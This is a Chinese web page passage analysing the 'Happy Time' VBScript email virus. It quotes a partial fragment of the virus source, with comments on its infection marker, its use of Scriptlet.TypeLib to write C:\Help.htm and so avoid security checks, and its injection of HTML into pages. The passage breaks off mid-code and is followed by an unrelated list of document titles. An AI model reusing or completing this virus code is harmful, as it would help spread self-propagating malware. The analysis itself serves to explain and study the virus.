翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 文明只差一步（24）
- 文明只差一步
- 一句名言的启示
- 文明只差一步（20）
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 文明只差一步
- 一句名言的启示
- 工作调度制度
- 市委民主议事恳谈会制度
- 民政局行风评议公开内容及承诺事项
- “做文明职工 创文明单位”竞赛程序
- 车队驾驶员、车两管理若干制度Z（含紧急处置预案）
- 局机关管理制度汇编
- 员工集体宿舍管理制度
- 市级领导干部联系点制度
- **单位督查督办工作制度
- 民事调解工作制度
- 渎 侦 局 办 案&
- 学校先进个人评选办法
- ×市烟草公司客户服务部车辆安全管理暂行规定
- 药监政务公开实施方案
- 药监检查办法
- 宏大海景名苑给排水设计
- 消防工程施工方法及给水措施
- 高层多功能酒店给排水设计
- 消防设计缺陷多例
- 给排水常用资料
- 消防报警系统安装详细步骤
- 什么是消防水工程中减压孔板
- 什么是自动喷水灭火系统
- 某电子生产厂房项目消防水系统、水压试验方案
- 住宅建筑给排水设计中的问题和解决办法
- 建设工程消防监督各方法律责任探讨
- 建筑环境给排水设计
- 建筑节水的几点技术措施
- 给排水安装工程质量通病的预防措施
- 给排水、消防监理细则
- 《古诗两首》教学设计之二
- 《夏夜多美》教学设计之二
- 《松鼠和松果》教学设计之三
- 《夏夜多美》教学设计之三
- 《要下雨了》教学设计之六
- 《失物招领》教学设计之四
- 《要下雨了》教学设计之八
- 《要下雨了》教学设计之十一
- 《古诗两首》
- 《夏夜多美》
- 《荷叶圆圆》第二课时
- 《失物招领》教学设计之五
- 《要下雨了》教学设计之十
- 《失物招领》教学设计之三
- 《夏夜多美》教学设计之四